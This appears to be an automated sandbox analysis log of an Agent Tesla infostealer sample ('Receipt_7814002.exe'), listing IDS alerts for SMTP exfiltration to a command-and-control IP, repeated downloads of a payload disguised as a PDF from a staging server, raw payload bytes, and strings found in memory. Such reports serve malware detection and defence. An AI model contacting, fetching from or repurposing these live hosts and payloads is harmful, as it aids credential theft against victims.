Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: Receipt_7814002.exe, 00000000.00000002.2364465182.0000000004C14000.00000004.00000800.00020000.00000000.sdmp, Receipt_7814002.exe, 00000000.00000002.2364465182.0000000004B5C000.00000004.00000800.00020000.00000000.sdmp, Receipt_7814002.exe, 00000000.00000002.2362402725.0000000003039000.00000004.00000800.00020000.00000000.sdmp, Receipt_7814002.exe, 00000000.00000002.2374384643.00000000062F0000.00000004.08000000.00040000.00000000.sdmp, daqfbrlrs.exe, 00000005.00000002.2874971771.0000000002ECD000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 00000006.00000002.2964969950.0000000003207000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: Receipt_7814002.exe, 00000000.00000002.2374923568.0000000006DB8000.00000004.00000800.00020000.00000000.sdmp, Receipt_7814002.exe, 00000000.00000002.2374923568.0000000006D01000.00000004.00000800.00020000.00000000.sdmp, Receipt_7814002.exe, 00000000.00000002.2362114328.0000000001460000.00000004.08000000.00040000.00000000.sdmp, Receipt_7814002.exe, 00000000.00000002.2362402725.0000000003039000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 00000005.00000002.2874971771.0000000002DD9000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 00000006.00000002.2964969950.0000000003207000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: Receipt_7814002.exe, 00000000.00000002.2374923568.0000000006DB8000.00000004.00000800.00020000.00000000.sdmp, Receipt_7814002.exe, 00000000.00000002.2374923568.0000000006D01000.00000004.00000800.00020000.00000000.sdmp, Receipt_7814002.exe, 00000000.00000002.2362114328.0000000001460000.00000004.08000000.00040000.00000000.sdmp, Receipt_7814002.exe, 00000000.00000002.2362402725.0000000003039000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 00000005.00000002.2874971771.0000000002DD9000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 00000006.00000002.2964969950.0000000003207000.00000004.00000800.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\Receipt_7814002.exe	Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h	0_2_0145DAC0
Source: C:\Users\user\Desktop\Receipt_7814002.exe	Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h	0_2_0145DAB8
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h	5_2_04C1CC08
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h	5_2_04C1CC10
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h	6_2_02E4CC08
Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exe	Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h	6_2_02E4CC10

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2855542 ETPRO TROJAN Agent Tesla CnC Exfil Activity 192.168.2.5:49717 -> 66.29.151.236:587
Source: Traffic	Snort IDS: 2855245 ETPRO TROJAN Agent Tesla Exfil via SMTP 192.168.2.5:49717 -> 66.29.151.236:587
Source: Traffic	Snort IDS: 2851779 ETPRO TROJAN Agent Tesla Telegram Exfil 192.168.2.5:49717 -> 66.29.151.236:587
Source: Traffic	Snort IDS: 2840032 ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 192.168.2.5:49717 -> 66.29.151.236:587
Source: Traffic	Snort IDS: 2030171 ET TROJAN AgentTesla Exfil Via SMTP 192.168.2.5:49717 -> 66.29.151.236:587

Downloads files with wrong headers with respect to MIME Content-Type

Source: http	Bad PDF prefix: HTTP/1.1 200 OK Date: Sat, 20 Apr 2024 08:22:54 GMT Server: Apache/2.4.6 (CentOS) Last-Modified: Fri, 19 Apr 2024 08:40:09 GMT ETag: "229c08-6166f09088c40" Accept-Ranges: bytes Content-Length: 2268168 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/pdf Data Raw: b6 b3 47 b2 68 9c d5 2c a7 f5 4b d7 35 1d 94 f2 1f d0 b7 df e7 bb c6 fc d4 f7 b6 41 9f 61 00 f8 1a 63 f0 d0 f7 c9 39 a9 b5 37 a4 2a 39 ef 2b 5f 4a b8 05 81 a5 96 b8 75 1d 6a c1 a6 42 77 2e 36 c7 11 af 68 f3 bc 9f c9 fa a6 40 27 1d f0 c2 1b d4 18 12 10 a5 57 3a 65 5a f0 94 ce 58 4a 6e d0 b7 b2 74 ec 7f 52 3c 5f 61 c7 1c 94 48 47 a7 00 cc 43 5f 54 bc 0e 5a 04 0c 44 dc 54 bf f5 4d ac 54 9c c2 75 5f 01 da ef 8a 94 ee 85 9e 5f 1e f4 fd f6 79 37 d9 4f 9d c6 6c 99 2e 32 d0 c9 80 3e c3 75 f9 7d 0f 9a 7f 46 ad 8f 8a d5 bf 1f 68 dd 69 dc 53 9e 3d e6 68 ea 50 cd 0e fc 5d 57 c2 5c 94 37 5f 49 f0 74 3d ff cd ab 18 c5 50 b0 89 58 3c 27 25 2f 43 b1 c2 0a 43 87 62 37 aa 54 9b bf 5f da 31 19 94 06 1c 16 d0 13 d5 fe a9 6a 51 3e 80 34 b9 7b 28 64 57 fa a1 b3 92 f7 1f c2 9e 86 23 99 fb 45 a0 91 5a 6b 43 92 be c5 ab 49 4a 50 ee 18 92 b8 cc 7d 69 a9 73 5f 1b 6e 09 fd 54 ab a6 cf 9a 31 cc 0f a5 5f e2 c4 47 7d ec 85 96 5c 76 35 6f e0 94 a8 3d 88 13 2f 8f 63 ad 8d b0 d3 56 a5 ce 23 53 e5 55 03 6a 29 32 dd 48 bd b7 1b a8 e8 a4 da 9b cf c5 61 ae c5 46 9e e2 cf 8e a6 8b f7 47 2c e2 62 db 23 45 ab 76 da d0 91 45 c9 22 e4 75 b8 bb f5 87 d7 a4 0d 05 8c e9 6b 5a 04 b7 07 9d 8f 61 13 bb 9f b8 44 a7 99 dc 80 c4 71 26 6a 7c 8c ba d8 99 df e1 70 8b cd 4c 27 7d 37 6d e9 a4 30 61 32 a6 e6 3b 78 e0 74 b5 3d 99 45 50 e0 77 96 0d 2a c1 20 72 36 76 0b ba 69 db 13 f5 88 f7 50 25 ad 10 99 3d 27 aa b6 66 82 c0 78 1f a0 66 f4 e3 ec 5c eb c1 59 35 04 1f 17 d2 8d 98 79 86 b3 98 65 2d cd 5d 4b a7 1f 51 c2 42 19 75 e4 ec 1d 72 b6 db 45 d5 45 22 d8 d1 e4 da 33 7c a8 9a a1 e9 85 dc 96 a3 31 fc be 2a d7 8c cb a8 36 9c 4a 18 75 0e 8c 0e 62 cb 71 e2 a1 1e a2 cd 36 84 2b b5 80 62 15 5b 87 a3 f5 b4 4c 65 ab 1f 01 a7 6f 3f 61 6e c7 8a b7 f8 d7 61 43 3c b6 d4 03 ce 37 ff 58 d4 74 07 24 e4 9f d8 cb fc a5 94 6e cf 66 15 ea 5d 70 5f 78 08 a0 93 3a b1 ea ab 8c 09 7b 97 38 ee 26 1a c8 c6 da 8e d0 23 2b 0c dc 11 de e7 e2 6e b5 89 a0 2b ec bb 60 dc 3c 38 a7 94 d9 71 7d 60 f9 4d 4f ce 09 8c bc 3c 7a 64 d5 77 27 f1 d0 64 6f cb 07 09 90 d4 95 a1 f5 67 89 9a d8 0f dc cf ad f4 68 57 e8 8d 34 27 eb 83 fe d6 a0 db 92 d3 e4 0d c7 cb d2 aa 39 19 4c 86 10 a1 3d f2 c9 cf fa 47 04 43 2f 31 7b 4c 81 bc b1 50 d0 36 16 b3 1b eb 12 8f de ea 4a cd 18 7e 66 91 30 f7 ce 83 6a 1f 31 ad 6f 81 23 ab ff 05 c7 0b 11 b7 4a 95 c5 80 7b 1d 28 4c 3e 25 1d 69 ed 35 ac 62 54 2f ae 87 46 31 cf 34 f2 90 57 8e 43 2b e0 9c 9a dd 99 13 95 5a 08 a4 1a a7 f7 b3 63 a3 50 c8 40 bd 7d 97 ba f7 2b e4 7d b8 12 9b 76 0d 91 c6 6a 75 18 e9 fa d8 9d 80 e0 fa bc 17 64 95 61 e3 d7 42 cb 7c 76 5f a4 a0 0a f6 4b d7 1d fe 1f 24 4f 45 28 ad a4 da da 2f 16 ab f0 a3 6c 8d b1 18 7f 60 37 37 58 c3 4a 37 d7 00 e5 15 05 5e bf 46 38 be 55 fb 9b 63 5e 90 1d 15 29 8e 7e 47 09 86 6b
Source: http	Bad PDF prefix: HTTP/1.1 200 OK Date: Sat, 20 Apr 2024 08:23:46 GMT Server: Apache/2.4.6 (CentOS) Last-Modified: Fri, 19 Apr 2024 08:40:09 GMT ETag: "229c08-6166f09088c40" Accept-Ranges: bytes Content-Length: 2268168 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/pdf Data Raw: b6 b3 47 b2 68 9c d5 2c a7 f5 4b d7 35 1d 94 f2 1f d0 b7 df e7 bb c6 fc d4 f7 b6 41 9f 61 00 f8 1a 63 f0 d0 f7 c9 39 a9 b5 37 a4 2a 39 ef 2b 5f 4a b8 05 81 a5 96 b8 75 1d 6a c1 a6 42 77 2e 36 c7 11 af 68 f3 bc 9f c9 fa a6 40 27 1d f0 c2 1b d4 18 12 10 a5 57 3a 65 5a f0 94 ce 58 4a 6e d0 b7 b2 74 ec 7f 52 3c 5f 61 c7 1c 94 48 47 a7 00 cc 43 5f 54 bc 0e 5a 04 0c 44 dc 54 bf f5 4d ac 54 9c c2 75 5f 01 da ef 8a 94 ee 85 9e 5f 1e f4 fd f6 79 37 d9 4f 9d c6 6c 99 2e 32 d0 c9 80 3e c3 75 f9 7d 0f 9a 7f 46 ad 8f 8a d5 bf 1f 68 dd 69 dc 53 9e 3d e6 68 ea 50 cd 0e fc 5d 57 c2 5c 94 37 5f 49 f0 74 3d ff cd ab 18 c5 50 b0 89 58 3c 27 25 2f 43 b1 c2 0a 43 87 62 37 aa 54 9b bf 5f da 31 19 94 06 1c 16 d0 13 d5 fe a9 6a 51 3e 80 34 b9 7b 28 64 57 fa a1 b3 92 f7 1f c2 9e 86 23 99 fb 45 a0 91 5a 6b 43 92 be c5 ab 49 4a 50 ee 18 92 b8 cc 7d 69 a9 73 5f 1b 6e 09 fd 54 ab a6 cf 9a 31 cc 0f a5 5f e2 c4 47 7d ec 85 96 5c 76 35 6f e0 94 a8 3d 88 13 2f 8f 63 ad 8d b0 d3 56 a5 ce 23 53 e5 55 03 6a 29 32 dd 48 bd b7 1b a8 e8 a4 da 9b cf c5 61 ae c5 46 9e e2 cf 8e a6 8b f7 47 2c e2 62 db 23 45 ab 76 da d0 91 45 c9 22 e4 75 b8 bb f5 87 d7 a4 0d 05 8c e9 6b 5a 04 b7 07 9d 8f 61 13 bb 9f b8 44 a7 99 dc 80 c4 71 26 6a 7c 8c ba d8 99 df e1 70 8b cd 4c 27 7d 37 6d e9 a4 30 61 32 a6 e6 3b 78 e0 74 b5 3d 99 45 50 e0 77 96 0d 2a c1 20 72 36 76 0b ba 69 db 13 f5 88 f7 50 25 ad 10 99 3d 27 aa b6 66 82 c0 78 1f a0 66 f4 e3 ec 5c eb c1 59 35 04 1f 17 d2 8d 98 79 86 b3 98 65 2d cd 5d 4b a7 1f 51 c2 42 19 75 e4 ec 1d 72 b6 db 45 d5 45 22 d8 d1 e4 da 33 7c a8 9a a1 e9 85 dc 96 a3 31 fc be 2a d7 8c cb a8 36 9c 4a 18 75 0e 8c 0e 62 cb 71 e2 a1 1e a2 cd 36 84 2b b5 80 62 15 5b 87 a3 f5 b4 4c 65 ab 1f 01 a7 6f 3f 61 6e c7 8a b7 f8 d7 61 43 3c b6 d4 03 ce 37 ff 58 d4 74 07 24 e4 9f d8 cb fc a5 94 6e cf 66 15 ea 5d 70 5f 78 08 a0 93 3a b1 ea ab 8c 09 7b 97 38 ee 26 1a c8 c6 da 8e d0 23 2b 0c dc 11 de e7 e2 6e b5 89 a0 2b ec bb 60 dc 3c 38 a7 94 d9 71 7d 60 f9 4d 4f ce 09 8c bc 3c 7a 64 d5 77 27 f1 d0 64 6f cb 07 09 90 d4 95 a1 f5 67 89 9a d8 0f dc cf ad f4 68 57 e8 8d 34 27 eb 83 fe d6 a0 db 92 d3 e4 0d c7 cb d2 aa 39 19 4c 86 10 a1 3d f2 c9 cf fa 47 04 43 2f 31 7b 4c 81 bc b1 50 d0 36 16 b3 1b eb 12 8f de ea 4a cd 18 7e 66 91 30 f7 ce 83 6a 1f 31 ad 6f 81 23 ab ff 05 c7 0b 11 b7 4a 95 c5 80 7b 1d 28 4c 3e 25 1d 69 ed 35 ac 62 54 2f ae 87 46 31 cf 34 f2 90 57 8e 43 2b e0 9c 9a dd 99 13 95 5a 08 a4 1a a7 f7 b3 63 a3 50 c8 40 bd 7d 97 ba f7 2b e4 7d b8 12 9b 76 0d 91 c6 6a 75 18 e9 fa d8 9d 80 e0 fa bc 17 64 95 61 e3 d7 42 cb 7c 76 5f a4 a0 0a f6 4b d7 1d fe 1f 24 4f 45 28 ad a4 da da 2f 16 ab f0 a3 6c 8d b1 18 7f 60 37 37 58 c3 4a 37 d7 00 e5 15 05 5e bf 46 38 be 55 fb 9b 63 5e 90 1d 15 29 8e 7e 47 09 86 6b
Source: http	Bad PDF prefix: HTTP/1.1 200 OK Date: Sat, 20 Apr 2024 08:23:54 GMT Server: Apache/2.4.6 (CentOS) Last-Modified: Fri, 19 Apr 2024 08:40:09 GMT ETag: "229c08-6166f09088c40" Accept-Ranges: bytes Content-Length: 2268168 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/pdf Data Raw: b6 b3 47 b2 68 9c d5 2c a7 f5 4b d7 35 1d 94 f2 1f d0 b7 df e7 bb c6 fc d4 f7 b6 41 9f 61 00 f8 1a 63 f0 d0 f7 c9 39 a9 b5 37 a4 2a 39 ef 2b 5f 4a b8 05 81 a5 96 b8 75 1d 6a c1 a6 42 77 2e 36 c7 11 af 68 f3 bc 9f c9 fa a6 40 27 1d f0 c2 1b d4 18 12 10 a5 57 3a 65 5a f0 94 ce 58 4a 6e d0 b7 b2 74 ec 7f 52 3c 5f 61 c7 1c 94 48 47 a7 00 cc 43 5f 54 bc 0e 5a 04 0c 44 dc 54 bf f5 4d ac 54 9c c2 75 5f 01 da ef 8a 94 ee 85 9e 5f 1e f4 fd f6 79 37 d9 4f 9d c6 6c 99 2e 32 d0 c9 80 3e c3 75 f9 7d 0f 9a 7f 46 ad 8f 8a d5 bf 1f 68 dd 69 dc 53 9e 3d e6 68 ea 50 cd 0e fc 5d 57 c2 5c 94 37 5f 49 f0 74 3d ff cd ab 18 c5 50 b0 89 58 3c 27 25 2f 43 b1 c2 0a 43 87 62 37 aa 54 9b bf 5f da 31 19 94 06 1c 16 d0 13 d5 fe a9 6a 51 3e 80 34 b9 7b 28 64 57 fa a1 b3 92 f7 1f c2 9e 86 23 99 fb 45 a0 91 5a 6b 43 92 be c5 ab 49 4a 50 ee 18 92 b8 cc 7d 69 a9 73 5f 1b 6e 09 fd 54 ab a6 cf 9a 31 cc 0f a5 5f e2 c4 47 7d ec 85 96 5c 76 35 6f e0 94 a8 3d 88 13 2f 8f 63 ad 8d b0 d3 56 a5 ce 23 53 e5 55 03 6a 29 32 dd 48 bd b7 1b a8 e8 a4 da 9b cf c5 61 ae c5 46 9e e2 cf 8e a6 8b f7 47 2c e2 62 db 23 45 ab 76 da d0 91 45 c9 22 e4 75 b8 bb f5 87 d7 a4 0d 05 8c e9 6b 5a 04 b7 07 9d 8f 61 13 bb 9f b8 44 a7 99 dc 80 c4 71 26 6a 7c 8c ba d8 99 df e1 70 8b cd 4c 27 7d 37 6d e9 a4 30 61 32 a6 e6 3b 78 e0 74 b5 3d 99 45 50 e0 77 96 0d 2a c1 20 72 36 76 0b ba 69 db 13 f5 88 f7 50 25 ad 10 99 3d 27 aa b6 66 82 c0 78 1f a0 66 f4 e3 ec 5c eb c1 59 35 04 1f 17 d2 8d 98 79 86 b3 98 65 2d cd 5d 4b a7 1f 51 c2 42 19 75 e4 ec 1d 72 b6 db 45 d5 45 22 d8 d1 e4 da 33 7c a8 9a a1 e9 85 dc 96 a3 31 fc be 2a d7 8c cb a8 36 9c 4a 18 75 0e 8c 0e 62 cb 71 e2 a1 1e a2 cd 36 84 2b b5 80 62 15 5b 87 a3 f5 b4 4c 65 ab 1f 01 a7 6f 3f 61 6e c7 8a b7 f8 d7 61 43 3c b6 d4 03 ce 37 ff 58 d4 74 07 24 e4 9f d8 cb fc a5 94 6e cf 66 15 ea 5d 70 5f 78 08 a0 93 3a b1 ea ab 8c 09 7b 97 38 ee 26 1a c8 c6 da 8e d0 23 2b 0c dc 11 de e7 e2 6e b5 89 a0 2b ec bb 60 dc 3c 38 a7 94 d9 71 7d 60 f9 4d 4f ce 09 8c bc 3c 7a 64 d5 77 27 f1 d0 64 6f cb 07 09 90 d4 95 a1 f5 67 89 9a d8 0f dc cf ad f4 68 57 e8 8d 34 27 eb 83 fe d6 a0 db 92 d3 e4 0d c7 cb d2 aa 39 19 4c 86 10 a1 3d f2 c9 cf fa 47 04 43 2f 31 7b 4c 81 bc b1 50 d0 36 16 b3 1b eb 12 8f de ea 4a cd 18 7e 66 91 30 f7 ce 83 6a 1f 31 ad 6f 81 23 ab ff 05 c7 0b 11 b7 4a 95 c5 80 7b 1d 28 4c 3e 25 1d 69 ed 35 ac 62 54 2f ae 87 46 31 cf 34 f2 90 57 8e 43 2b e0 9c 9a dd 99 13 95 5a 08 a4 1a a7 f7 b3 63 a3 50 c8 40 bd 7d 97 ba f7 2b e4 7d b8 12 9b 76 0d 91 c6 6a 75 18 e9 fa d8 9d 80 e0 fa bc 17 64 95 61 e3 d7 42 cb 7c 76 5f a4 a0 0a f6 4b d7 1d fe 1f 24 4f 45 28 ad a4 da da 2f 16 ab f0 a3 6c 8d b1 18 7f 60 37 37 58 c3 4a 37 d7 00 e5 15 05 5e bf 46 38 be 55 fb 9b 63 5e 90 1d 15 29 8e 7e 47 09 86 6b

Source: global traffic

TCP traffic: 192.168.2.5:49717 -> 66.29.151.236:587

Source: global traffic	HTTP traffic detected: GET /sm/Tsgempx.pdf HTTP/1.1Host: 5.34.182.232Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /sm/Tsgempx.pdf HTTP/1.1Host: 5.34.182.232Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /sm/Tsgempx.pdf HTTP/1.1Host: 5.34.182.232Connection: Keep-Alive

Source: Joe Sandbox View	IP Address: 66.29.151.236 66.29.151.236
Source: Joe Sandbox View	IP Address: 104.26.12.205 104.26.12.205
Source: Joe Sandbox View	IP Address: 104.26.13.205 104.26.13.205
Source: Joe Sandbox View	IP Address: 104.26.13.205 104.26.13.205

Source: Joe Sandbox View

ASN Name: ADVANTAGECOMUS ADVANTAGECOMUS

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org

Source: global traffic

TCP traffic: 192.168.2.5:49717 -> 66.29.151.236:587

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 5.34.182.232
Source: unknown	TCP traffic detected without corresponding DNS query: 5.34.182.232
Source: unknown	TCP traffic detected without corresponding DNS query: 5.34.182.232
Source: unknown	TCP traffic detected without corresponding DNS query: 5.34.182.232
Source: unknown	TCP traffic detected without corresponding DNS query: 5.34.182.232
Source: unknown	TCP traffic detected without corresponding DNS query: 5.34.182.232
Source: unknown	TCP traffic detected without corresponding DNS query: 5.34.182.232
Source: unknown	TCP traffic detected without corresponding DNS query: 5.34.182.232
Source: unknown	TCP traffic detected without corresponding DNS query: 5.34.182.232
Source: unknown	TCP traffic detected without corresponding DNS query: 5.34.182.232
Source: unknown	TCP traffic detected without corresponding DNS query: 5.34.182.232
Source: unknown	TCP traffic detected without corresponding DNS query: 5.34.182.232
Source: unknown	TCP traffic detected without corresponding DNS query: 5.34.182.232
Source: unknown	TCP traffic detected without corresponding DNS query: 5.34.182.232
Source: unknown	TCP traffic detected without corresponding DNS query: 5.34.182.232
Source: unknown	TCP traffic detected without corresponding DNS query: 5.34.182.232
Source: unknown	TCP traffic detected without corresponding DNS query: 5.34.182.232
Source: unknown	TCP traffic detected without corresponding DNS query: 5.34.182.232
Source: unknown	TCP traffic detected without corresponding DNS query: 5.34.182.232
Source: unknown	TCP traffic detected without corresponding DNS query: 5.34.182.232
Source: unknown	TCP traffic detected without corresponding DNS query: 5.34.182.232
Source: unknown	TCP traffic detected without corresponding DNS query: 5.34.182.232
Source: unknown	TCP traffic detected without corresponding DNS query: 5.34.182.232
Source: unknown	TCP traffic detected without corresponding DNS query: 5.34.182.232
Source: unknown	TCP traffic detected without corresponding DNS query: 5.34.182.232
Source: unknown	TCP traffic detected without corresponding DNS query: 5.34.182.232
Source: unknown	TCP traffic detected without corresponding DNS query: 5.34.182.232
Source: unknown	TCP traffic detected without corresponding DNS query: 5.34.182.232
Source: unknown	TCP traffic detected without corresponding DNS query: 5.34.182.232
Source: unknown	TCP traffic detected without corresponding DNS query: 5.34.182.232
Source: unknown	TCP traffic detected without corresponding DNS query: 5.34.182.232
Source: unknown	TCP traffic detected without corresponding DNS query: 5.34.182.232
Source: unknown	TCP traffic detected without corresponding DNS query: 5.34.182.232
Source: unknown	TCP traffic detected without corresponding DNS query: 5.34.182.232
Source: unknown	TCP traffic detected without corresponding DNS query: 5.34.182.232
Source: unknown	TCP traffic detected without corresponding DNS query: 5.34.182.232
Source: unknown	TCP traffic detected without corresponding DNS query: 5.34.182.232
Source: unknown	TCP traffic detected without corresponding DNS query: 5.34.182.232
Source: unknown	TCP traffic detected without corresponding DNS query: 5.34.182.232
Source: unknown	TCP traffic detected without corresponding DNS query: 5.34.182.232
Source: unknown	TCP traffic detected without corresponding DNS query: 5.34.182.232
Source: unknown	TCP traffic detected without corresponding DNS query: 5.34.182.232
Source: unknown	TCP traffic detected without corresponding DNS query: 5.34.182.232
Source: unknown	TCP traffic detected without corresponding DNS query: 5.34.182.232
Source: unknown	TCP traffic detected without corresponding DNS query: 5.34.182.232
Source: unknown	TCP traffic detected without corresponding DNS query: 5.34.182.232
Source: unknown	TCP traffic detected without corresponding DNS query: 5.34.182.232
Source: unknown	TCP traffic detected without corresponding DNS query: 5.34.182.232
Source: unknown	TCP traffic detected without corresponding DNS query: 5.34.182.232
Source: unknown	TCP traffic detected without corresponding DNS query: 5.34.182.232

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /sm/Tsgempx.pdf HTTP/1.1Host: 5.34.182.232Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /sm/Tsgempx.pdf HTTP/1.1Host: 5.34.182.232Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /sm/Tsgempx.pdf HTTP/1.1Host: 5.34.182.232Connection: Keep-Alive

Source: unknown

DNS traffic detected: queries for: api.ipify.org

Source: Receipt_7814002.exe, 00000000.00000002.2362402725.0000000002E41000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 00000005.00000002.2874971771.0000000002BE1000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 00000006.00000002.2964969950.000000000301B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://5.34.182.232
Source: Receipt_7814002.exe, 00000000.00000002.2362402725.0000000002E41000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 00000005.00000002.2874971771.0000000002BE1000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 00000005.00000002.2872621137.0000000000D72000.00000004.00000020.00020000.00000000.sdmp, daqfbrlrs.exe, 00000006.00000002.2964969950.0000000003011000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://5.34.182.232/sm/Tsgempx.pdf
Source: Receipt_7814002.exe, daqfbrlrs.exe.0.dr	String found in binary or memory: http://5.34.182.232/sm/Tsgempx.pdf1rMNwlnDXb2Wr0bmURqfDNA==
Source: daqfbrlrs.exe, 00000005.00000002.2872621137.0000000000D72000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://5.34.182.232/sm/Tsgempx.pdfS=
Source: Receipt_7814002.exe, daqfbrlrs.exe.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: Receipt_7814002.exe, daqfbrlrs.exe.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: Receipt_7814002.exe, daqfbrlrs.exe.0.dr	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: Receipt_7814002.exe, daqfbrlrs.exe.0.dr	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: Receipt_7814002.exe, daqfbrlrs.exe.0.dr	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y
Source: Receipt_7814002.exe, daqfbrlrs.exe.0.dr	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: Receipt_7814002.exe, daqfbrlrs.exe.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: Receipt_7814002.exe, daqfbrlrs.exe.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: Receipt_7814002.exe, daqfbrlrs.exe.0.dr	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#
Source: Receipt_7814002.exe, daqfbrlrs.exe.0.dr	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: Receipt_7814002.exe, daqfbrlrs.exe.0.dr	String found in binary or memory: http://ocsp.comodoca.com0
Source: Receipt_7814002.exe, daqfbrlrs.exe.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: Receipt_7814002.exe, daqfbrlrs.exe.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: Receipt_7814002.exe, daqfbrlrs.exe.0.dr	String found in binary or memory: http://ocsp.sectigo.com0
Source: Receipt_7814002.exe, 00000000.00000002.2362402725.0000000002E41000.00000004.00000800.00020000.00000000.sdmp, Receipt_7814002.exe, 00000003.00000002.3238307456.00000000031C1000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 00000005.00000002.2874971771.0000000002BE1000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 00000006.00000002.2964969950.000000000301B000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 00000007.00000002.3237092657.00000000025DC000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 00000008.00000002.3236721251.0000000002931000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Receipt_7814002.exe, 00000000.00000002.2364465182.0000000004C97000.00000004.00000800.00020000.00000000.sdmp, Receipt_7814002.exe, 00000000.00000002.2362402725.0000000003039000.00000004.00000800.00020000.00000000.sdmp, Receipt_7814002.exe, 00000000.00000002.2374923568.0000000006C11000.00000004.00000800.00020000.00000000.sdmp, Receipt_7814002.exe, 00000003.00000002.3231098043.0000000000430000.00000040.00000400.00020000.00000000.sdmp, daqfbrlrs.exe, 00000005.00000002.2874971771.0000000002ECD000.00000004.00000800.00020000.00000000.sdmp, daqfbrlrs.exe, 00000006.00000002.2964969950.0000000003207000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.dyn.com/
